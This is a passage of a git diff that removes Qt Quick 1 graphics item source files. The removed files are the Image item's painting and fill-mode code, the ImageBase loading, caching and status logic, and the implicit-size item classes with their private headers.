PreserveAspectCrop) { - if (!d->pix.width() || !d->pix.height()) - return boundingRect; - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); - if (widthScale < heightScale) { - widthScale = heightScale; - boundingRect.moveTo((width() - widthScale * d->pix.width()) / 2, 0); - } else if (heightScale < widthScale) { - heightScale = widthScale; - boundingRect.moveTo(0, (height() - heightScale * d->pix.height()) / 2); - } - } - return boundingRect; -} - -/*! - \qmlproperty url QtQuick1::Image::source - - Image can handle any image format supported by Qt, loaded from any URL scheme supported by Qt. - - The URL may be absolute, or relative to the URL of the component. - - \sa QDeclarativeImageProvider -*/ - -/*! - \qmlproperty bool QtQuick1::Image::asynchronous - - Specifies that images on the local filesystem should be loaded - asynchronously in a separate thread. The default value is - false, causing the user interface thread to block while the - image is loaded. Setting \a asynchronous to true is useful where - maintaining a responsive user interface is more desirable - than having images immediately visible. - - Note that this property is only valid for images read from the - local filesystem. Images loaded via a network resource (e.g. HTTP) - are always loaded asynchonously. -*/ - -/*! - \qmlproperty bool QtQuick1::Image::cache - \since Quick 1.1 - - Specifies whether the image should be cached. The default value is - true. Setting \a cache to false is useful when dealing with large images, - to make sure that they aren't cached at the expense of small 'ui element' images. -*/ - -/*! - \qmlproperty bool QtQuick1::Image::mirror - \since Quick 1.1 - - This property holds whether the image should be horizontally inverted - (effectively displaying a mirrored image). - - The default value is false. -*/ - - -void QDeclarative1Image::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) -{ - Q_D(QDeclarative1Image); - if (d->pix.pixmap().isNull() ) - return; - - int drawWidth = width(); - int drawHeight = height(); - bool doClip = false; - QTransform transform; - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); - - if (width() != d->pix.width() || height() != d->pix.height()) { - if (d->fillMode >= Tile) { - if (d->fillMode == TileVertically) { - transform.scale(widthScale, 1.0); - drawWidth = d->pix.width(); - } else if (d->fillMode == TileHorizontally) { - transform.scale(1.0, heightScale); - drawHeight = d->pix.height(); - } - } else { - if (d->fillMode == PreserveAspectFit) { - if (widthScale <= heightScale) { - heightScale = widthScale; - transform.translate(0, (height() - heightScale * d->pix.height()) / 2); - } else if(heightScale < widthScale) { - widthScale = heightScale; - transform.translate((width() - widthScale * d->pix.width()) / 2, 0); - } - } else if (d->fillMode == PreserveAspectCrop) { - if (widthScale < heightScale) { - widthScale = heightScale; - transform.translate((width() - widthScale * d->pix.width()) / 2, 0); - } else if(heightScale < widthScale) { - heightScale = widthScale; - transform.translate(0, (height() - heightScale * d->pix.height()) / 2); - } - } - transform.scale(widthScale, heightScale); - drawWidth = d->pix.width(); - drawHeight = d->pix.height(); - doClip = clip(); - } - } - - QTransform oldTransform; - bool oldAA = p->testRenderHint(QPainter::Antialiasing); - bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform); - if (d->smooth) - p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth); - if (doClip) { - p->save(); - p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip); - } - if (d->mirror) - transform.translate(drawWidth, 0).scale(-1.0, 1.0); - if (!transform.isIdentity()) { - oldTransform = p->transform(); - p->setWorldTransform(transform * oldTransform); - } - - if (d->fillMode >= Tile) - p->drawTiledPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix); - else - p->drawPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix, QRectF(0, 0, drawWidth, drawHeight)); - - if (d->smooth) { - p->setRenderHint(QPainter::Antialiasing, oldAA); - p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); - } - if (doClip) - p->restore(); - if (!transform.isIdentity()) - p->setWorldTransform(oldTransform); -} - -void QDeclarative1Image::pixmapChange() -{ - Q_D(QDeclarative1Image); - // PreserveAspectFit calculates the implicit size differently so we - // don't call our superclass pixmapChange(), since that would - // result in the implicit size being set incorrectly, then updated - // in updatePaintedGeometry() - if (d->fillMode != PreserveAspectFit) - QDeclarative1ImageBase::pixmapChange(); - updatePaintedGeometry(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeimage_p.h b/src/qtquick1/graphicsitems/qdeclarativeimage_p.h deleted file mode 100644 index 4ed69d856e..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimage_p.h +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMAGE_H -#define QDECLARATIVEIMAGE_H - -#include "private/qdeclarativeimagebase_p.h" - -#include - -QT_BEGIN_HEADER -QT_BEGIN_NAMESPACE - - -class QDeclarative1ImagePrivate; -class Q_AUTOTEST_EXPORT QDeclarative1Image : public QDeclarative1ImageBase -{ - Q_OBJECT - Q_ENUMS(FillMode) - - Q_PROPERTY(FillMode fillMode READ fillMode WRITE setFillMode NOTIFY fillModeChanged) - Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedGeometryChanged) - Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedGeometryChanged) - -public: - QDeclarative1Image(QDeclarativeItem *parent=0); - ~QDeclarative1Image(); - - enum FillMode { Stretch, PreserveAspectFit, PreserveAspectCrop, Tile, TileVertically, TileHorizontally }; - FillMode fillMode() const; - void setFillMode(FillMode); - - QPixmap pixmap() const; - void setPixmap(const QPixmap &); - - qreal paintedWidth() const; - qreal paintedHeight() const; - - void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - QRectF boundingRect() const; - -Q_SIGNALS: - void fillModeChanged(); - void paintedGeometryChanged(); - -protected: - QDeclarative1Image(QDeclarative1ImagePrivate &dd, QDeclarativeItem *parent); - void geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry); - void pixmapChange(); - void updatePaintedGeometry(); - -private: - Q_DISABLE_COPY(QDeclarative1Image) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Image) -}; - -QT_END_NAMESPACE -QML_DECLARE_TYPE(QDeclarative1Image) -QT_END_HEADER - -#endif // QDECLARATIVEIMAGE_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeimage_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeimage_p_p.h deleted file mode 100644 index b649a9f1ac..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimage_p_p.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMAGE_P_H -#define QDECLARATIVEIMAGE_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeitem_p.h" -#include "private/qdeclarativeimagebase_p_p.h" - -QT_BEGIN_NAMESPACE - -class QDeclarative1ImagePrivate : public QDeclarative1ImageBasePrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Image) - -public: - QDeclarative1ImagePrivate() - : fillMode(QDeclarative1Image::Stretch), paintedWidth(0), paintedHeight(0) - { - } - - QDeclarative1Image::FillMode fillMode; - qreal paintedWidth; - qreal paintedHeight; - void setPixmap(const QPixmap &pix); -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVEIMAGE_P_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeimagebase.cpp b/src/qtquick1/graphicsitems/qdeclarativeimagebase.cpp deleted file mode 100644 index a6f455fe81..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimagebase.cpp +++ /dev/null @@ -1,288 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeimagebase_p.h" -#include "QtQuick1/private/qdeclarativeimagebase_p_p.h" - -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -QDeclarative1ImageBase::QDeclarative1ImageBase(QDeclarativeItem *parent) - : QDeclarative1ImplicitSizeItem(*(new QDeclarative1ImageBasePrivate), parent) -{ -} - -QDeclarative1ImageBase::QDeclarative1ImageBase(QDeclarative1ImageBasePrivate &dd, QDeclarativeItem *parent) - : QDeclarative1ImplicitSizeItem(dd, parent) -{ -} - -QDeclarative1ImageBase::~QDeclarative1ImageBase() -{ -} - -QDeclarative1ImageBase::Status QDeclarative1ImageBase::status() const -{ - Q_D(const QDeclarative1ImageBase); - return d->status; -} - - -qreal QDeclarative1ImageBase::progress() const -{ - Q_D(const QDeclarative1ImageBase); - return d->progress; -} - - -bool QDeclarative1ImageBase::asynchronous() const -{ - Q_D(const QDeclarative1ImageBase); - return d->async; -} - -void QDeclarative1ImageBase::setAsynchronous(bool async) -{ - Q_D(QDeclarative1ImageBase); - if (d->async != async) { - d->async = async; - emit asynchronousChanged(); - } -} - -QUrl QDeclarative1ImageBase::source() const -{ - Q_D(const QDeclarative1ImageBase); - return d->url; -} - -void QDeclarative1ImageBase::setSource(const QUrl &url) -{ - Q_D(QDeclarative1ImageBase); - //equality is fairly expensive, so we bypass for simple, common case - if ((d->url.isEmpty() == url.isEmpty()) && url == d->url) - return; - - d->url = url; - emit sourceChanged(d->url); - - if (isComponentComplete()) - load(); -} - -void QDeclarative1ImageBase::setSourceSize(const QSize& size) -{ - Q_D(QDeclarative1ImageBase); - if (d->sourcesize == size) - return; - - d->sourcesize = size; - d->explicitSourceSize = true; - emit sourceSizeChanged(); - if (isComponentComplete()) - load(); -} - -QSize QDeclarative1ImageBase::sourceSize() const -{ - Q_D(const QDeclarative1ImageBase); - - int width = d->sourcesize.width(); - int height = d->sourcesize.height(); - return QSize(width != -1 ? width : d->pix.width(), height != -1 ? height : d->pix.height()); -} - -void QDeclarative1ImageBase::resetSourceSize() -{ - Q_D(QDeclarative1ImageBase); - if (!d->explicitSourceSize) - return; - d->explicitSourceSize = false; - d->sourcesize = QSize(); - emit sourceSizeChanged(); - if (isComponentComplete()) - load(); -} - -bool QDeclarative1ImageBase::cache() const -{ - Q_D(const QDeclarative1ImageBase); - return d->cache; -} - -void QDeclarative1ImageBase::setCache(bool cache) -{ - Q_D(QDeclarative1ImageBase); - if (d->cache == cache) - return; - - d->cache = cache; - emit cacheChanged(); - if (isComponentComplete()) - load(); -} - -void QDeclarative1ImageBase::setMirror(bool mirror) -{ - Q_D(QDeclarative1ImageBase); - if (mirror == d->mirror) - return; - - d->mirror = mirror; - - if (isComponentComplete()) - update(); - - emit mirrorChanged(); -} - -bool QDeclarative1ImageBase::mirror() const -{ - Q_D(const QDeclarative1ImageBase); - return d->mirror; -} - -void QDeclarative1ImageBase::load() -{ - Q_D(QDeclarative1ImageBase); - - if (d->url.isEmpty()) { - d->pix.clear(this); - d->status = Null; - d->progress = 0.0; - pixmapChange(); - emit progressChanged(d->progress); - emit statusChanged(d->status); - update(); - } else { - QDeclarative1Pixmap::Options options; - if (d->async) - options |= QDeclarative1Pixmap::Asynchronous; - if (d->cache) - options |= QDeclarative1Pixmap::Cache; - d->pix.clear(this); - d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options); - - if (d->pix.isLoading()) { - d->progress = 0.0; - d->status = Loading; - emit progressChanged(d->progress); - emit statusChanged(d->status); - - static int thisRequestProgress = -1; - static int thisRequestFinished = -1; - if (thisRequestProgress == -1) { - thisRequestProgress = - QDeclarative1ImageBase::staticMetaObject.indexOfSlot("requestProgress(qint64,qint64)"); - thisRequestFinished = - QDeclarative1ImageBase::staticMetaObject.indexOfSlot("requestFinished()"); - } - - d->pix.connectFinished(this, thisRequestFinished); - d->pix.connectDownloadProgress(this, thisRequestProgress); - - } else { - requestFinished(); - } - } -} - -void QDeclarative1ImageBase::requestFinished() -{ - Q_D(QDeclarative1ImageBase); - - QDeclarative1ImageBase::Status oldStatus = d->status; - qreal oldProgress = d->progress; - - if (d->pix.isError()) { - d->status = Error; - qmlInfo(this) << d->pix.error(); - } else { - d->status = Ready; - } - - d->progress = 1.0; - - pixmapChange(); - - if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height()) - emit sourceSizeChanged(); - - if (d->status != oldStatus) - emit statusChanged(d->status); - if (d->progress != oldProgress) - emit progressChanged(d->progress); - - update(); -} - -void QDeclarative1ImageBase::requestProgress(qint64 received, qint64 total) -{ - Q_D(QDeclarative1ImageBase); - if (d->status == Loading && total > 0) { - d->progress = qreal(received)/total; - emit progressChanged(d->progress); - } -} - -void QDeclarative1ImageBase::componentComplete() -{ - Q_D(QDeclarative1ImageBase); - QDeclarativeItem::componentComplete(); - if (d->url.isValid()) - load(); -} - -void QDeclarative1ImageBase::pixmapChange() -{ - Q_D(QDeclarative1ImageBase); - setImplicitWidth(d->pix.width()); - setImplicitHeight(d->pix.height()); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeimagebase_p.h b/src/qtquick1/graphicsitems/qdeclarativeimagebase_p.h deleted file mode 100644 index 364acf7a10..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimagebase_p.h +++ /dev/null @@ -1,116 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMAGEBASE_H -#define QDECLARATIVEIMAGEBASE_H - -#include "qdeclarativeimplicitsizeitem_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarative1ImageBasePrivate; -class Q_AUTOTEST_EXPORT QDeclarative1ImageBase : public QDeclarative1ImplicitSizeItem -{ - Q_OBJECT - Q_ENUMS(Status) - - Q_PROPERTY(Status status READ status NOTIFY statusChanged) - Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) - Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) - Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) - Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged REVISION 1) - Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize RESET resetSourceSize NOTIFY sourceSizeChanged) - Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged REVISION 1) - -public: - QDeclarative1ImageBase(QDeclarativeItem *parent=0); - ~QDeclarative1ImageBase(); - enum Status { Null, Ready, Loading, Error }; - Status status() const; - qreal progress() const; - - QUrl source() const; - virtual void setSource(const QUrl &url); - - bool asynchronous() const; - void setAsynchronous(bool); - - bool cache() const; - void setCache(bool); - - virtual void setSourceSize(const QSize&); - QSize sourceSize() const; - void resetSourceSize(); - - virtual void setMirror(bool mirror); - bool mirror() const; - -Q_SIGNALS: - void sourceChanged(const QUrl &); - void sourceSizeChanged(); - void statusChanged(QDeclarative1ImageBase::Status); - void progressChanged(qreal progress); - void asynchronousChanged(); - Q_REVISION(1) void cacheChanged(); - Q_REVISION(1) void mirrorChanged(); - -protected: - virtual void load(); - virtual void componentComplete(); - virtual void pixmapChange(); - QDeclarative1ImageBase(QDeclarative1ImageBasePrivate &dd, QDeclarativeItem *parent); - -private Q_SLOTS: - virtual void requestFinished(); - void requestProgress(qint64,qint64); - -private: - Q_DISABLE_COPY(QDeclarative1ImageBase) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1ImageBase) -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEIMAGEBASE_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeimagebase_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeimagebase_p_p.h deleted file mode 100644 index 45fc8c4af7..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimagebase_p_p.h +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMAGEBASE_P_H -#define QDECLARATIVEIMAGEBASE_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativeimplicitsizeitem_p_p.h" -#include "QtQuick1/private/qdeclarativepixmapcache_p.h" - -#include - -QT_BEGIN_NAMESPACE - -class QNetworkReply; - -class QDeclarative1ImageBasePrivate : public QDeclarative1ImplicitSizeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1ImageBase) - -public: - QDeclarative1ImageBasePrivate() - : status(QDeclarative1ImageBase::Null), - progress(0.0), - explicitSourceSize(false), - async(false), - cache(true), - mirror(false) - { - QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents; - } - - QDeclarative1Pixmap pix; - QDeclarative1ImageBase::Status status; - QUrl url; - qreal progress; - QSize sourcesize; - bool explicitSourceSize : 1; - bool async : 1; - bool cache : 1; - bool mirror: 1; -}; - -QT_END_NAMESPACE - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem.cpp b/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem.cpp deleted file mode 100644 index 3df40e8369..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem.cpp +++ /dev/null @@ -1,96 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeimplicitsizeitem_p.h" -#include "QtQuick1/private/qdeclarativeimplicitsizeitem_p_p.h" - -QT_BEGIN_NAMESPACE - - - -void QDeclarative1ImplicitSizeItemPrivate::implicitWidthChanged() -{ - Q_Q(QDeclarative1ImplicitSizeItem); - emit q->implicitWidthChanged(); -} - -void QDeclarative1ImplicitSizeItemPrivate::implicitHeightChanged() -{ - Q_Q(QDeclarative1ImplicitSizeItem); - emit q->implicitHeightChanged(); -} - -QDeclarative1ImplicitSizeItem::QDeclarative1ImplicitSizeItem(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1ImplicitSizeItemPrivate), parent) -{ -} - -QDeclarative1ImplicitSizeItem::QDeclarative1ImplicitSizeItem(QDeclarative1ImplicitSizeItemPrivate &dd, QDeclarativeItem *parent) - : QDeclarativeItem(dd, parent) -{ -} - - -void QDeclarative1ImplicitSizePaintedItemPrivate::implicitWidthChanged() -{ - Q_Q(QDeclarative1ImplicitSizePaintedItem); - emit q->implicitWidthChanged(); -} - -void QDeclarative1ImplicitSizePaintedItemPrivate::implicitHeightChanged() -{ - Q_Q(QDeclarative1ImplicitSizePaintedItem); - emit q->implicitHeightChanged(); -} - -QDeclarative1ImplicitSizePaintedItem::QDeclarative1ImplicitSizePaintedItem(QDeclarativeItem *parent) - : QDeclarative1PaintedItem(*(new QDeclarative1ImplicitSizePaintedItemPrivate), parent) -{ -} - -QDeclarative1ImplicitSizePaintedItem::QDeclarative1ImplicitSizePaintedItem(QDeclarative1ImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent) - : QDeclarative1PaintedItem(dd, parent) -{ -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem_p.h b/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem_p.h deleted file mode 100644 index 5318058897..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem_p.h +++ /dev/null @@ -1,100 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEIMPLICITSIZEITEM_H -#define QDECLARATIVEIMPLICITSIZEITEM_H - -#include "qdeclarativepainteditem_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarative1ImplicitSizeItemPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1ImplicitSizeItem : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1) - Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1) - -public: - QDeclarative1ImplicitSizeItem(QDeclarativeItem *parent = 0); - -protected: - QDeclarative1ImplicitSizeItem(QDeclarative1ImplicitSizeItemPrivate &dd, QDeclarativeItem *parent); - -Q_SIGNALS: - Q_REVISION(1) void implicitWidthChanged(); - Q_REVISION(1) void implicitHeightChanged(); - -private: - Q_DISABLE_COPY(QDeclarative1ImplicitSizeItem) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1ImplicitSizeItem) -}; - -class QDeclarative1ImplicitSizePaintedItemPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1ImplicitSizePaintedItem : public QDeclarative1PaintedItem -{ - Q_OBJECT - Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1) - Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1) - -public: - QDeclarative1ImplicitSizePaintedItem(QDeclarativeItem *parent = 0); - -protected: - QDeclarative1ImplicitSizePaintedItem(QDeclarative1ImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent); - virtual void drawContents(QPainter *, const QRect &) {}; - -Q_SIGNALS: - Q_REVISION(1) void implicitWidthChanged(); - Q_REVISION(1) void implicitHeightChanged(); - -private: - Q_DISABLE_COPY(QDeclarative1ImplicitSizePaintedItem) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1ImplicitSizePaintedItem) -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEIMPLICITSIZEITEM_H diff --git a/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h b/src/qtquick1/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h deleted file mode 100644 index dc4a848e52..0000000000 --- 